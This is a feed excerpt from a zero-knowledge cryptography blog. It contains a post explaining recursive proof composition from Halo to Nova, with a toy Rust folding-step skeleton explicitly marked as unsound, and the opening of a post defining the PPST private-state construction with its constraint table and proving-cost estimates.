<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Plonky3/Plonky3"><code>Plonky3/Plonky3</code></a> — the toolkit; the README is the closest thing to a paper</li>
<li><a href="https://polygon.technology/blog/polygon-plonky3-the-next-generation-of-zk-proving-systems-is-production-ready">Polygon Plonky3 is Production Ready</a> — Polygon&#39;s announcement, summarising the small-field bet</li>
<li><a href="https://eprint.iacr.org/2018/046">Scalable, transparent, and post-quantum secure computational integrity</a> — Ben-Sasson, Bentov, Horesh, Riabzev (2018) — the FRI / STARK paper</li>
<li><a href="https://dev.risczero.com/proof-system-in-detail.pdf">Risc Zero zkVM proof system</a> — the contrast point: Goldilocks + STARK in production</li>
<li><a href="/blog/halo2_in_2026_what_changed/">Halo2 in 2026: what changed since the Zcash era</a> — sister post on the big-field / KZG lineage</li>
<li><a href="/blog/proving_in_the_browser_by_the_numbers/">Proving in the browser, by the numbers</a> — what Plonky3 means for in-browser proving (spoiler: enormous, eventually)</li>
<li><a href="/blog/poseidon_by_hand_and_by_code/">Poseidon, by hand and by code</a> — the hash that&#39;s being re-parameterised for small fields</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Recursive proof composition without the abyss: Halo to Nova]]></title>
  <id>https://blog.skill-issue.dev/blog/recursive_proofs_halo_to_nova/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/recursive_proofs_halo_to_nova/"/>
  <published>2026-05-02T16:00:00.000Z</published>
  <updated>2026-05-02T16:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="cryptography"/>
  <category term="recursive-snark"/>
  <category term="halo2"/>
  <category term="nova"/>
  <category term="folding"/>
  <category term="zk"/>
  <category term="phd"/>
  <category term="math"/>
  <summary type="html"><![CDATA[The path from Halo's accumulation scheme to Nova's folding scheme, derived from the recurrence relation. Where Halo2, Nova, SuperNova, and HyperNova actually differ, and which one to reach for in 2026.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, Sandbox, TradeoffTable, Aside, Quote, RustPlayground } from &quot;@/components/mdx&quot;;</p>
<p>A recursive SNARK is a proof that proves <em>another proof was checked correctly</em>. A program that runs for $T$ steps and produces a proof of correct execution at each step can — recursively — collapse all $T$ proofs into one. The verifier work goes from $O(T)$ to $O(1)$. This is the structural reason ZK rollups exist. It is also the reason &quot;incrementally verifiable computation&quot; stopped being a research curiosity in 2020 and became a deployment target.</p>
<p>The two papers that sit underneath every recursive SNARK shipped today are <a href="https://eprint.iacr.org/2019/1021">Halo (Bowe, Grigg, Hopwood 2019)</a> and <a href="https://eprint.iacr.org/2021/370">Nova (Kothapalli, Setty, Tzialla 2022)</a>. They take very different routes to the same destination. This post is the math of both, the trade-off table for picking one in 2026, and a Rust skeleton for the Nova folding step.</p>
<Aside kind="note">
Working post in the [PhD-by-publication track](/about). The math is checked against the Halo and Nova papers and the [HyperNova update (Kothapalli, Setty 2024)](https://eprint.iacr.org/2023/573). The Rust skeleton compiles in the playground but is intentionally toy-shaped — see the warning on cryptographic use further down.
</Aside>

<h2>The problem recursive SNARKs are solving</h2>
<p>You have a program that runs for $T$ steps. At each step you produce a proof that the step was executed correctly. Naively, the verifier checks all $T$ proofs — verifier cost $O(T)$, no better than re-running the program. Useless.</p>
<p>The recursive trick: at step $i$, instead of producing a fresh proof, you produce a proof that says <em>&quot;step $i$ was executed correctly, <strong>and</strong> the proof from step $i-1$ verifies.&quot;</em> The proof for step $i$ recursively absorbs the proof for step $i-1$. After $T$ steps you have one proof; the verifier checks one proof; the cost is $O(1)$ in the program length.</p>
<p>The hardest part is making the inner verification cheap. If the verifier work for one proof is $V$ and you embed that work in the circuit for the next proof, you&#39;ve blown up the prover cost by $V$. Recursion is only useful if $V$ is constant or near-constant in the original circuit size — which is exactly what Groth16, Halo, and Nova all aim for in different ways.</p>
<p>&lt;Mermaid chart={<code>flowchart LR   subgraph S0[Step 0]     P0[execute step 0]     P0 --&gt; Pr0[proof pi_0]   end   subgraph S1[Step 1]     P1[execute step 1] --&gt; V1[verify pi_0]     V1 --&gt; Pr1[proof pi_1: &#39;step 1 ran AND pi_0 verified&#39;]   end   subgraph S2[Step 2]     P2[execute step 2] --&gt; V2[verify pi_1]     V2 --&gt; Pr2[proof pi_2: &#39;step 2 ran AND pi_1 verified&#39;]   end   Pr0 --&gt; V1   Pr1 --&gt; V2   Pr2 --&gt; Final[final verifier checks ONE proof]   classDef step fill:#0a0a0a,stroke:#4ade80,color:#4ade80   class S0,S1,S2 step</code>}/&gt;</p>
<p>The math problem reduces to one question: <em>how cheaply can you verify a SNARK inside a SNARK?</em></p>
<h2>The Halo trick: accumulation without recursion-in-circuit</h2>
<p>Pre-Halo recursion required a <strong>cycle of pairing-friendly elliptic curves</strong>. Two curves $E_1, E_2$ with the property that the scalar field of $E_1$ is the base field of $E_2$ and vice versa, so that arithmetic over one curve can be expressed natively in the other curve&#39;s circuit. Pasta (Pallas / Vesta) and MNT4/6 are the canonical cycles. The reason this matters: if you want to verify a Groth16 proof inside a Groth16 circuit, you need pairing-friendly arithmetic <em>inside the circuit</em>, which means the circuit field has to support the pairing curve. A cycle gives you two curves where each can verify proofs over the other.</p>
<p>The cycle constraint is annoying. Pasta&#39;s curves don&#39;t have efficient pairings (they&#39;re cycle-friendly, not pairing-friendly), so they trade pairing efficiency for cycle availability. MNT cycles have very large fields and slow arithmetic. There&#39;s no free lunch.</p>
<p><a href="https://eprint.iacr.org/2019/1021">Halo (Bowe, Grigg, Hopwood 2019)</a> was the first practical example of recursive proof composition that broke this constraint. The insight: instead of <em>verifying</em> the inner proof inside the circuit, you <strong>accumulate</strong> the most expensive part of the verification (the multiscalar multiplication, MSM) into a running sum, and defer the actual MSM check to the end of the recursion.</p>
<p>Formally: the verifier of an inner-product-argument-based proof has to check an equation of the form</p>
<p>$$
\sum_i s_i \cdot G_i = P
$$</p>
<p>for some derived scalars $s_i$ and group elements $G_i$. This is the bottleneck — it&#39;s a multiscalar multiplication of size linear in the circuit. The accumulation-scheme trick is: at step $k$, instead of <em>checking</em> this equation, you produce a fresh &quot;accumulator&quot; $\text{acc}_k = (G_k^{\text{folded}}, P_k^{\text{folded}})$ that combines the current step&#39;s MSM with the previous accumulator. After $T$ steps you have one accumulator and one MSM check. Verifier cost: $O(\log T)$ for the recursion plus one final MSM.</p>
<p>The Halo paper formalises this as a <strong>polynomial commitment with deferred opening</strong>. It works because the recursive composition can defer expensive arithmetic, not because it embeds full verification in-circuit. From the abstract:</p>
<Quote cite="https://eprint.iacr.org/2019/1021" author="Bowe, Grigg, Hopwood">
We present Halo, the first practical example of recursive proof composition without a trusted setup, using only the discrete logarithm assumption over normal cycles of elliptic curves. Recursion is achieved by amortizing away the expensive verification procedures from within the proof verification cycle, deferring them until the end of the recursion.
</Quote>

<p>Halo2, the Zcash production deployment, uses the same construction over Pasta and ships it in Orchard (Zcash&#39;s NU5 upgrade in 2022). Halo2 is also the basis of Aztec Connect, the Scroll zkEVM, and the Filecoin Snark-pack.</p>
<h2>The Nova trick: folding instead of accumulating</h2>
<p>Two years after Halo, <a href="https://eprint.iacr.org/2021/370">Nova (Kothapalli, Setty, Tzialla 2022)</a> reframed the problem entirely. Instead of accumulating an MSM, Nova introduces a <strong>folding scheme</strong>: a primitive that takes two instances of a relation and folds them into a single instance, with prover cost $O(|F|)$ for some step circuit $F$ and <strong>no SNARK at all</strong> in the recursion.</p>
<p>The Nova relation is a relaxed R1CS instance:</p>
<p>$$
\mathbf{A} \mathbf{z} \circ \mathbf{B} \mathbf{z} = u \mathbf{C} \mathbf{z} + \mathbf{e}
$$</p>
<p>where $\mathbf{A}, \mathbf{B}, \mathbf{C}$ are the constraint matrices, $\mathbf{z}$ is the witness extended with public inputs, $u$ is a slack scalar (1 in the standard R1CS case), and $\mathbf{e}$ is an <em>error vector</em> (zero in the standard case). The &quot;relaxed&quot; part is that $u$ and $\mathbf{e}$ are allowed to be nonzero — that&#39;s what makes folding possible.</p>
<p>Given two relaxed R1CS instances $(u_1, \mathbf{z}_1, \mathbf{e}_1)$ and $(u_2, \mathbf{z}_2, \mathbf{e}_2)$, the folding scheme produces a single instance $(u, \mathbf{z}, \mathbf{e})$ via a random challenge $r$:</p>
<p>$$
u = u_1 + r \cdot u_2, \quad \mathbf{z} = \mathbf{z}_1 + r \cdot \mathbf{z}_2, \quad \mathbf{e} = \mathbf{e}_1 + r \cdot \mathbf{T} + r^2 \cdot \mathbf{e}_2
$$</p>
<p>with $\mathbf{T}$ a &quot;cross-term&quot; the prover sends to the verifier. The folded instance is satisfying iff both originals were (with overwhelming probability). Crucially, <strong>folding does not require the verifier to do any expensive cryptographic work</strong>: $\mathbf{T}$ is a vector commitment, $r$ is a Fiat-Shamir challenge, and the new $(u, \mathbf{z}, \mathbf{e})$ is a linear combination. No pairings. No SNARK.</p>
<p>The Nova <strong>incrementally verifiable computation (IVC) recurrence</strong> is then:</p>
<p>$$
(u_{i+1}, \mathbf{z}<em>{i+1}, \mathbf{e}</em>{i+1}) = \text{Fold}\big( (u_i, \mathbf{z}_i, \mathbf{e}_i), ; (u_F, \mathbf{z}_F^{(i)}, \mathbf{0}) \big)
$$</p>
<p>where the second instance is a fresh R1CS encoding of &quot;step $i$ of the program $F$ executed correctly.&quot; After $T$ steps, you have one relaxed R1CS instance, and you produce a single SNARK that proves it&#39;s satisfying. The SNARK runs <em>once</em>, at the end. Every step in between is folding.</p>
<p>The cost asymmetry is the entire pitch. Halo&#39;s per-step cost is $O(|F|)$ for the step plus $O(\log T)$ for the recursion. Nova&#39;s per-step cost is just $O(|F|)$ — no recursion overhead. For long computations ($T \gg 1$) Nova is significantly cheaper. The trade-off: Nova gives you one final SNARK to verify, while Halo gives you a SNARK at every step.</p>
<p>&lt;Mermaid chart={<code>flowchart LR   subgraph N0[Nova step 0]     F0[execute F at step 0] --&gt; R0[R1CS instance z_0]   end   subgraph N1[Nova step 1]     F1[execute F at step 1] --&gt; R1[fresh R1CS z_1]     Acc0[accumulator U_0] --&gt; Fold1[fold]     R1 --&gt; Fold1     Fold1 --&gt; Acc1[accumulator U_1]   end   subgraph N2[Nova step 2]     F2[execute F at step 2] --&gt; R2[fresh R1CS z_2]     Acc1 --&gt; Fold2[fold]     R2 --&gt; Fold2     Fold2 --&gt; Acc2[accumulator U_2]   end   R0 --&gt; Acc0   Acc2 --&gt; SNARK[final SNARK proves U_T satisfying]   classDef step fill:#0a0a0a,stroke:#4ade80,color:#4ade80   class N0,N1,N2 step</code>}/&gt;</p>
<p>The folding scheme is the entire idea. Everything else in Nova is bookkeeping around it.</p>
<h2>Halo2, Nova, SuperNova, HyperNova — what&#39;s the difference</h2>
<p>Four production-grade recursive systems, four design points.</p>
<p>&lt;TradeoffTable
  rows={[
    {
      option: &quot;Halo2 (Zcash, Pasta curves)&quot;,
      cost: &quot;Per-step prover ~constant in T; verifier O(log T) MSM&quot;,
      latency: &quot;Step proof ~5-15s for non-trivial circuits&quot;,
      blast_radius: &quot;Production since 2022 (Zcash NU5); audited&quot;,
      notes: &quot;Best for protocols that already use the IPA / Pasta stack. Wide deployment.&quot;
    },
    {
      option: &quot;Nova (Pallas/Vesta cycle)&quot;,
      cost: &quot;Per-step prover O(|F|) with NO SNARK; one final SNARK&quot;,
      latency: &quot;Per-step ~100ms-1s; final SNARK ~5-15s&quot;,
      blast_radius: &quot;Production via microsoft/Nova, Lurk; younger than Halo2&quot;,
      notes: &quot;Best when T is very large and you can defer the SNARK. The right choice for a zkVM step circuit.&quot;
    },
    {
      option: &quot;SuperNova&quot;,
      cost: &quot;Per-step proportional to the SIZE of the invoked instruction circuit&quot;,
      latency: &quot;Per-step ~50ms-300ms (varies by instruction)&quot;,
      blast_radius: &quot;Newer; production zkVMs (RISC0, Jolt-shape) are exploring it&quot;,
      notes: &quot;Right answer for instruction-set machines (EVM, RISC-V) where steps don&#39;t all use the same circuit.&quot;
    },
    {
      option: &quot;HyperNova (CCS)&quot;,
      cost: &quot;Folds CCS instead of R1CS; supports Plonkish/AIR/R1CS uniformly&quot;,
      latency: &quot;Comparable to Nova with a richer constraint system&quot;,
      blast_radius: &quot;Newest of the four; CRYPTO 2024&quot;,
      notes: &quot;The unification target. Drop-in upgrade for protocols that want CCS flexibility without rewriting.&quot;
    },
    {
      option: &quot;Plain Groth16 + cycle&quot;,
      cost: &quot;Per-step verifier embedding ~10k constraints&quot;,
      latency: &quot;Per-step ~10s+&quot;,
      blast_radius: &quot;What everyone did before Halo and Nova&quot;,
      notes: &quot;Mostly historical now. Don&#39;t reach for this in 2026.&quot;
    },
  ]}
/&gt;</p>
<p>The two questions that decide which one to reach for in 2026:</p>
<ol>
<li><strong>Is your computation a uniform step that repeats, or a heterogeneous instruction set?</strong> Uniform: Nova. Heterogeneous: SuperNova. (HyperNova handles both via CCS.)</li>
<li><strong>Do you need a SNARK at every step, or can you defer to one final SNARK?</strong> Every step: Halo2. Defer: Nova / SuperNova / HyperNova.</li>
</ol>
<p>For a privacy-pool transfer, neither of these is the right shape — you want a single SNARK per spend, no recursion. For <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> we ship Groth16 and don&#39;t recurse. For a <em>rollup</em> settling many transfers in a batch, Nova-flavoured folding is the right structural answer because the per-step cost is dominated by the transfer logic and the final SNARK only runs once per epoch.</p>
<h2>A Nova folding step, in Rust</h2>
<p>The cleanest way to see what&#39;s actually happening in a folding step is to write one out. The skeleton below is a Nova-shaped folding step over a toy R1CS — no pairings, no real curve, no soundness, but the linear-combination structure is the real thing.</p>
<RustPlayground edition="2024" title="Nova folding step (skeleton)">
{`// A Nova-shaped folding step over a toy "relaxed R1CS" instance.
// This is INTENTIONALLY toy-shaped: scalars are u128 mod a prime, the
// "commitment" is a hash, and there's no curve arithmetic. The shape of
// the linear combinations is real; the soundness is not.
//
// Reference: Nova: Recursive Zero-Knowledge Arguments from Folding Schemes
// https://eprint.iacr.org/2021/370

<p>const MODULUS: u128 = (1u128 &lt;&lt; 61) - 1; // toy Mersenne prime</p>
<p>#[derive(Clone, Debug)]
struct RelaxedR1CS {
    /// Slack scalar: 1 for a fresh instance, accumulates after folding.
    u: u128,
    /// Witness extended with public inputs.
    z: Vec<u128>,
    /// Error vector: 0 for a fresh instance, accumulates after folding.
    e: Vec<u128>,
    /// Vector commitment to z. (Toy: just a checksum.)
    com_z: u128,
    /// Vector commitment to e.
    com_e: u128,
}</p>
<p>fn add(a: u128, b: u128) -&gt; u128 { (a.wrapping_add(b)) % MODULUS }
fn mul(a: u128, b: u128) -&gt; u128 { (a.wrapping_mul(b)) % MODULUS }
fn vec_add(a: &amp;[u128], b: &amp;[u128]) -&gt; Vec<u128> {
    a.iter().zip(b.iter()).map(|(x, y)| add(*x, *y)).collect()
}
fn vec_scale(a: &amp;[u128], s: u128) -&gt; Vec<u128> {
    a.iter().map(|x| mul(*x, s)).collect()
}
// Toy &quot;commitment&quot;: rolling hash. A real Nova uses Pedersen commitments.
fn commit(v: &amp;[u128]) -&gt; u128 {
    let mut h: u128 = 0xCAFE_BABE_DEAD_BEEF;
    for x in v {
        h = h.wrapping_mul(0x100000001b3).wrapping_add(*x);
    }
    h % MODULUS
}</p>
<p>/// Fold two relaxed R1CS instances into one, using random challenge r.
/// Returns the folded instance and the cross-term T (which the prover
/// sends to the verifier in a real protocol).
fn fold(
    inst1: &amp;RelaxedR1CS,
    inst2: &amp;RelaxedR1CS,
    r: u128,
) -&gt; (RelaxedR1CS, Vec<u128>) {
    // Cross term T. In real Nova: T = Az_1 o Bz_2 + Az_2 o Bz_1
    //                                 - u_1 * C z_2 - u_2 * C z_1.
    // Toy: just a placeholder of the right shape.
    let len = inst1.e.len();
    let cross_term: Vec<u128> = (0..len)
        .map(|i| {
            let t1 = mul(inst1.u, inst2.z.get(i).copied().unwrap_or(0));
            let t2 = mul(inst2.u, inst1.z.get(i).copied().unwrap_or(0));
            add(t1, t2)
        })
        .collect();</p>
<pre><code>// Folded slack scalar: u = u_1 + r * u_2
let u = add(inst1.u, mul(r, inst2.u));
// Folded witness: z = z_1 + r * z_2
let z = vec_add(&amp;inst1.z, &amp;vec_scale(&amp;inst2.z, r));
// Folded error: e = e_1 + r * T + r^2 * e_2
let r2 = mul(r, r);
let e = vec_add(
    &amp;vec_add(&amp;inst1.e, &amp;vec_scale(&amp;cross_term, r)),
    &amp;vec_scale(&amp;inst2.e, r2),
);
let folded = RelaxedR1CS {
    u,
    com_z: commit(&amp;z),
    com_e: commit(&amp;e),
    z,
    e,
};
(folded, cross_term)
</code></pre>
<p>}</p>
<p>fn fresh_instance(z: Vec<u128>) -&gt; RelaxedR1CS {
    let e = vec![0u128; z.len()];
    let com_z = commit(&amp;z);
    let com_e = commit(&amp;e);
    RelaxedR1CS { u: 1, z, e, com_z, com_e }
}</p>
<p>fn main() {
    // Step 0: fresh instance with witness z_0.
    let acc = fresh_instance(vec![3, 5, 7, 11]);
    println!(&quot;step 0: u={}, |z|={}, com_z={:#x}&quot;, acc.u, acc.z.len(), acc.com_z);</p>
<pre><code>// Step 1: fold in a fresh R1CS instance from running F at step 1.
let step1 = fresh_instance(vec![13, 17, 19, 23]);
let r1: u128 = 0xDEADBEEF; // Fiat-Shamir challenge in real protocol
let (acc, _t) = fold(&amp;acc, &amp;step1, r1);
println!(&quot;step 1: u={}, com_z={:#x}, |e|={}&quot;, acc.u, acc.com_z, acc.e.len());

// Step 2: fold in another step.
let step2 = fresh_instance(vec![29, 31, 37, 41]);
let r2: u128 = 0xFEEDFACE;
let (acc, _t) = fold(&amp;acc, &amp;step2, r2);
println!(&quot;step 2: u={}, com_z={:#x}&quot;, acc.u, acc.com_z);

// After T steps, the final accumulator is one relaxed R1CS instance.
// The protocol proves it&#39;s satisfying via a single SNARK at the end.
println!(&quot;\\nfinal accumulator captures all 3 steps in one instance.&quot;);
println!(&quot;a SNARK proves this instance is satisfying — 1 proof for any T.&quot;);
</code></pre>
<p>}
`}
</RustPlayground></p>
<p>The shape is the thing. The fold is just three linear combinations: $u&#39; = u_1 + r u_2$, $\mathbf{z}&#39; = \mathbf{z}_1 + r \mathbf{z}_2$, $\mathbf{e}&#39; = \mathbf{e}_1 + r \mathbf{T} + r^2 \mathbf{e}_2$. The cross-term $\mathbf{T}$ is what the prover sends; the challenge $r$ is Fiat-Shamir over the transcript. In real Nova the witness $\mathbf{z}$ is replaced by a Pedersen commitment to it (so the verifier never sees the witness), and the error vector $\mathbf{e}$ is replaced by a commitment as well. The linear structure of the fold is preserved by the additive-homomorphic property of the Pedersen commitment, which is the entire reason Pedersen is the right primitive here.</p>
<Aside kind="warn">
The toy above does NOT have soundness. The "commitment" is a rolling hash, not a Pedersen commitment, so an adversary can trivially forge the folded instance. The challenge $r$ is hardcoded, not Fiat-Shamir. Use [microsoft/Nova](https://github.com/microsoft/Nova) or [argumentcomputer/arecibo](https://github.com/argumentcomputer/arecibo) for production. The skeleton is for understanding the linear-combination shape, not for use.
</Aside>

<h2>Where this lands for ZERA</h2>
<p>The honest answer about recursion in <a href="/blog/zera_sdk_scaffolding/">zera-sdk</a> v1: we don&#39;t use it. A privacy transfer is one Groth16 proof per spend, and there&#39;s nothing to recurse over. The advantage of recursion shows up when:</p>
<ul>
<li>You&#39;re settling many transfers in a batch (rollup shape) and want to compress them into one proof.</li>
<li>You&#39;re running a zkVM (Lurk, Jolt, RISC0) where the program has many uniform steps.</li>
<li>You&#39;re building a light client that has to verify a long chain of proofs cheaply.</li>
</ul>
<p>For ZERA&#39;s transfer flow, none of these apply. For the eventual settlement layer that sits <em>underneath</em> a chain of ZERA transfers (think: a state-root proof every epoch), Nova-style folding is the right shape, and the design seam is in <code>crates/zera-sdk-core/src/recursion.rs</code>. Empty file today. We&#39;ve left the door open.</p>
<p>The reason I wrote this post anyway is that recursion is the part of the ZK stack that&#39;s most actively moving in 2026. HyperNova landed at CRYPTO 2024 with a CCS-based unification of R1CS / AIR / Plonkish that was supposed to take five more years. The next two years are going to compress IVC primitives down to &quot;one folding scheme, three commitment choices, pick your poison.&quot; Anyone deploying a ZK system today should know what shape that compressed primitive will be, because the migration cost will be the difference between a clean refactor and a rewrite.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://eprint.iacr.org/2019/1021">Halo: Recursive Proof Composition without a Trusted Setup</a> — Bowe, Grigg, Hopwood (2019) — the accumulation-scheme paper.</li>
<li><a href="https://eprint.iacr.org/2021/370">Nova: Recursive Zero-Knowledge Arguments from Folding Schemes</a> — Kothapalli, Setty, Tzialla (CRYPTO 2022) — the folding-scheme paper.</li>
<li><a href="https://eprint.iacr.org/2022/1758">SuperNova: Proving universal machine executions without universal circuits</a> — Kothapalli, Setty (2022) — the per-instruction folding extension.</li>
<li><a href="https://eprint.iacr.org/2023/573">HyperNova: Recursive Arguments for Customizable Constraint Systems</a> — Kothapalli, Setty (CRYPTO 2024) — CCS-based unification.</li>
<li><a href="https://github.com/microsoft/Nova">microsoft/Nova</a> — the canonical Rust implementation.</li>
<li><a href="https://zcash.github.io/halo2/">Halo2 book</a> — the production deployment behind Zcash NU5.</li>
<li><a href="/blog/poseidon_by_hand_and_by_code/">Poseidon, by hand and by code</a> — the hash function inside the recursion circuit.</li>
<li><a href="/blog/why_bn254_and_when_to_switch/">Why BN254, and when to switch off it</a> — the curve choice underneath the SNARK that closes the recursion.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[PPST: extending SPST to arbitrary private computation]]></title>
  <id>https://blog.skill-issue.dev/blog/ppst_private_programmable_state/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/ppst_private_programmable_state/"/>
  <published>2026-05-02T15:00:00.000Z</published>
  <updated>2026-05-02T15:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zk"/>
  <category term="cryptography"/>
  <category term="circuits"/>
  <category term="r1cs"/>
  <category term="aleo"/>
  <category term="aztec"/>
  <category term="phd"/>
  <summary type="html"><![CDATA[F_RP Construction II. Generalises SPST to private programmable state: arbitrary arithmetic circuits over committed pre/post-state, with R1CS-embedded program execution and atomic PPST-SPST composition.]]></summary>
  <content type="html"><![CDATA[<p>import { Mermaid, TradeoffTable, Aside, Quote } from &quot;@/components/mdx&quot;;</p>
<p><a href="/blog/spst_self_paying_shielded_transactions/">SPST</a> gave us private value transfer with self-paying fees on a smart-contract chain. That&#39;s the Solana analogue of Zcash&#39;s Sapling — and exactly what every existing relayer-dependent privacy mixer (Tornado, RAILGUN, Light v1) does, just without the relayer.</p>
<p>But Tornado-style protocols are not the goal. The goal is <strong>Turing-complete</strong> private computation: a Solana program that runs on encrypted state and produces a proof of correct execution without leaking what the state was, what the inputs were, or what the program output. That&#39;s PPST.</p>
<p>This is post 4 of 11 in the <a href="/series/relayerless-privacy">relayerless-privacy</a> series. Reading <a href="/blog/spst_self_paying_shielded_transactions/">post 3</a> first will help, but the construction here stands alone.</p>
<Aside kind="note">
The closest analogues in production are **Aleo** (UTXO-based private programs in Leo) and **Aztec** (note-based private functions in Noir running in the PXE). PPST sits in the same design space but adapts the model to deployment as a smart-contract layer on Solana — no separate L1, no separate L2 sequencer.
</Aside>

<h2>What &quot;private program&quot; means here</h2>
<p><strong>Definition (Private Program).</strong> A <em>private program</em> is an arithmetic circuit</p>
<p>$$
C : \mathbb{F}<em>p^{n</em>{\mathsf{in}}} \to \mathbb{F}<em>p^{n</em>{\mathsf{out}}}
$$</p>
<p>over the BN254 scalar field, specified by an R1CS constraint system $(A, B, C)$ of size $N_C$. Each program is identified by</p>
<p>$$
\mathsf{program_id} ;=; \mathsf{Poseidon}(\mathsf{vk}_C),
$$</p>
<p>where $\mathsf{vk}_C$ is the Groth16 verification key. The program identifier is a <strong>public, deterministic commitment to the program&#39;s logic</strong>.</p>
<p><strong>Definition (Private State).</strong> A vector $\mathsf{state} \in \mathbb{F}_p^k$ committed as</p>
<p>$$
\mathsf{cm}<em>{\mathsf{state}} ;=; \mathsf{Poseidon}(\mathsf{state}[0], \ldots, \mathsf{state}[k-1], r</em>{\mathsf{state}}).
$$</p>
<p>State commitments are leaves in a state Merkle tree $\mathcal{T}_S$ of depth 32, root $\mathsf{rt}_S$. This is a separate tree from the SPST note-commitment tree.</p>
<p><strong>Definition (State Transition).</strong> A triple $(\mathsf{state}<em>{\mathsf{pre}}, \mathsf{aux}, \mathsf{state}</em>{\mathsf{post}})$ where $\mathsf{aux}$ is private auxiliary input and</p>
<p>$$
C(\mathsf{state}<em>{\mathsf{pre}}, \mathsf{aux}) ;=; \mathsf{state}</em>{\mathsf{post}}.
$$</p>
<p>The transition consumes $\mathsf{cm}<em>{\mathsf{pre}}$ via nullification and produces $\mathsf{cm}</em>{\mathsf{post}}$ as a new tree leaf. <strong>The program logic $C$ is never revealed to the verifier — only $\mathsf{program_id}$ is.</strong></p>
<h2>The PPST relation</h2>
<p>The relation $\mathcal{R}_{\mathsf{PPST}}$ is the set of $(x, w)$ pairs:</p>
<p><strong>Public instance</strong> $x = \bigl(\mathsf{rt}<em>{\mathsf{pre}}, \mathsf{rt}</em>{\mathsf{post}}, \mathsf{nf}<em>{\mathsf{state}}, \mathsf{cm}</em>{\mathsf{post}}, \mathsf{program_id}, f\bigr)$.</p>
<p><strong>Private witness</strong> $w = \bigl(\mathsf{state}<em>{\mathsf{pre}}, r</em>{\mathsf{pre}}, \mathsf{path}<em>{\mathsf{pre}}, sk</em>{\mathsf{state}}, \mathsf{aux}, \mathsf{state}<em>{\mathsf{post}}, r</em>{\mathsf{post}}, \mathsf{vk}_C\bigr)$.</p>
<p>Nine constraints, all enforced by the outer PPST circuit:</p>
<table>
<thead>
<tr>
<th>#</th>
<th>Name</th>
<th>Constraint</th>
</tr>
</thead>
<tbody><tr>
<td>P1</td>
<td>Program identification</td>
<td>$\mathsf{program_id} = \mathsf{Poseidon}(\mathsf{vk}_C)$</td>
</tr>
<tr>
<td>P2</td>
<td>Pre-state commitment</td>
<td>$\mathsf{cm}<em>{\mathsf{pre}} = \mathsf{Poseidon}(\mathsf{state}</em>{\mathsf{pre}}, r_{\mathsf{pre}})$</td>
</tr>
<tr>
<td>P3</td>
<td>Pre-state membership</td>
<td>$\mathsf{MerkleVerify}(\mathsf{rt}<em>{\mathsf{pre}}, \mathsf{cm}</em>{\mathsf{pre}}, \mathsf{path}_{\mathsf{pre}}) = 1$</td>
</tr>
<tr>
<td>P4</td>
<td>State nullification</td>
<td>$\mathsf{nf}<em>{\mathsf{state}} = \mathsf{PRF}</em>{sk_{\mathsf{state}}}(\mathsf{cm}_{\mathsf{pre}})$</td>
</tr>
<tr>
<td><strong>P5</strong></td>
<td><strong>Program execution</strong></td>
<td>$C(\mathsf{state}<em>{\mathsf{pre}}, \mathsf{aux}) = \mathsf{state}</em>{\mathsf{post}}$</td>
</tr>
<tr>
<td>P6</td>
<td>Post-state commitment</td>
<td>$\mathsf{cm}<em>{\mathsf{post}} = \mathsf{Poseidon}(\mathsf{state}</em>{\mathsf{post}}, r_{\mathsf{post}})$</td>
</tr>
<tr>
<td>P7</td>
<td>Post-state tree update</td>
<td>$\mathsf{rt}<em>{\mathsf{post}} = \mathsf{MerkleInsert}(\mathsf{rt}</em>{\mathsf{pre}}, \mathsf{cm}_{\mathsf{post}})$</td>
</tr>
<tr>
<td>P8</td>
<td>Fee extraction</td>
<td>value-bearing state OR companion SPST</td>
</tr>
<tr>
<td>P9</td>
<td>State authorization</td>
<td>$\mathsf{pk}<em>{\mathsf{state}} = \mathsf{PRF}</em>{sk_{\mathsf{state}}}(0)$ embedded in pre-state</td>
</tr>
</tbody></table>
<p>P5 is the heart of the construction. The user-defined program $C$ — written in Circom, Noir, Leo, or any high-level circuit DSL — is <strong>embedded as a sub-circuit</strong> inside the outer PPST relation. The R1CS for $C$ becomes constraints inside the R1CS for $\mathcal{R}_{\mathsf{PPST}}$.</p>
<h2>How the program embedding works</h2>
<p>&lt;Mermaid id=&quot;ppst-embedding&quot; code={<code>graph LR   A[High-level program&lt;br/&gt;private fn swap{a,b}&lt;br/&gt;in Noir/Leo/Circom] --&gt; B[Compiler]   B --&gt; C[R1CS for C&lt;br/&gt;~10K-1M constraints]   C --&gt; D[Merge into PPST circuit&lt;br/&gt;R1CS&lt;sub&gt;PPST&lt;/sub&gt; = R1CS&lt;sub&gt;overhead&lt;/sub&gt; + R1CS&lt;sub&gt;C&lt;/sub&gt;]   D --&gt; E[Groth16.Setup&lt;br/&gt;per-program ceremony]   E --&gt; F[vk_C → on-chain PDA&lt;br/&gt;at addr_C = PDA{H{vk_C}}]   classDef step stroke:#4ade80,stroke-width:2px,fill:#0a0a0a,color:#fff   class A,B,C,D,E,F step </code>}/&gt;</p>
<p>The outer circuit sizes look like:</p>
<p>$$
N_{\mathsf{PPST}} ;\approx; N_{\mathsf{overhead}} ;+; N_C
$$</p>
<p>where $N_{\mathsf{overhead}} \approx 25{,}000$ R1CS constraints (Merkle paths, commitment hashes, PRF evaluations — see SPST §3.1.6) and $N_C$ is the program circuit size.</p>
<table>
<thead>
<tr>
<th>Program complexity</th>
<th>$N_C$</th>
<th>Total PPST</th>
<th>Groth16 prove (M2)</th>
</tr>
</thead>
<tbody><tr>
<td><strong>Simple</strong> (token transfer, vote, ACL)</td>
<td>10³ — 10⁴</td>
<td>35,000 — 50,000</td>
<td>1 — 3 s</td>
</tr>
<tr>
<td><strong>Moderate</strong> (private AMM swap, auction bid, credential)</td>
<td>10⁵ — 10⁶</td>
<td>125,000 — 10⁶</td>
<td>5 — 60 s</td>
</tr>
<tr>
<td><strong>Complex</strong> (private ML inference, DB queries)</td>
<td>&gt; 10⁷</td>
<td>impractical for direct Groth16</td>
<td>minutes — hours</td>
</tr>
</tbody></table>
